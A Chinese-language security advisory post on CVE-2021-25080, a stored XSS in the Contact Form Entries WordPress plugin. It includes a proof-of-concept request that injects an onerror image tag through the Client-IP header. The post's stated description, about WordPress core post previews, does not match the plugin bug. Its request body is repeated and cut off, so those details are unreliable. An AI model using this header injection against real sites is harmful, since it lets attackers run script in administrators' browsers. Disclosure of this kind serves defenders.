前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >WordPress CRM 表单条目跨站点脚本

WordPress CRM 表单条目跨站点脚本

原创
作者头像
Khan安全团队
发布2022-01-05 10:16:33
3970
发布2022-01-05 10:16:33
举报
文章被收录于专栏:Khan安全团队Khan安全团队

CVE-2021-25080

参考:

https://wpscan.com/vulnerability/acd3d98a-aab8-49be-b77e-e8c6ede171ac

https://secsi.io/blog/cve-2021-25080-finding-cross-site-scripting-vulnerabilities-in-headers/

描述:

5.2.3 之前的 WordPress 允许经过身份验证的用户在帖子预览中使用 XSS。

技术细节和利用:

CRM 表单条目 CRM 容易受到客户端 IP 字段中存储的 XSS 的攻击。

当用户上传新表单时,CRM Form Entries 会检查客户端 IP 为了保存有关用户的信息:

公共函数 get_ip(), wp-content/plugins/contact-form-entries/contact-form-entries.php,第 1388 行 

用户可以设置任意的“HTTP_CLIENT_IP”值,该值是 存储在数据库中。

假设你有一个Contact Form,拦截POST请求并插入

POST /index.php?rest_route=/contact-form-7/v1/contact-forms/10/feedback
HTTP/1.1
Host: dsp.com:11080
Content-Length: 1411
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 ...
Client-IP: <img src=a onerror=alert(1)>

------WebKitFormBoundaryCuNGXLnhRsdglEAx

Content-Disposition: form-data; name="_wpcf7"

10
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_version"

5.3.1
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_locale"

en_US
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_unit_tag"

wpcf7-f10-p13-o1
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_container_post"

Content-Disposition: form-data; name="_wpcf7"

10
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_version"

5.3.1
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_locale"

en_US
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_unit_tag"

wpcf7-f10-p13-o1
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_container_post"
...

请求被接受,代码导航 $_SERVER['HTTP_CLIENT_IP'] 部分,ip 被注入并保存在数据库中。 当管理员点击插件中的 entry 元素时, 就会触发XSS 。

解决方案:

升级到 1.1.7 版

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
多因子身份认证
多因子身份认证(Multi-factor Authentication Service,MFAS)的目的是建立一个多层次的防御体系,通过结合两种或三种认证因子(基于记忆的/基于持有物的/基于生物特征的认证因子)验证访问者的身份,使系统或资源更加安全。攻击者即使破解单一因子(如口令、人脸),应用的安全依然可以得到保障。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档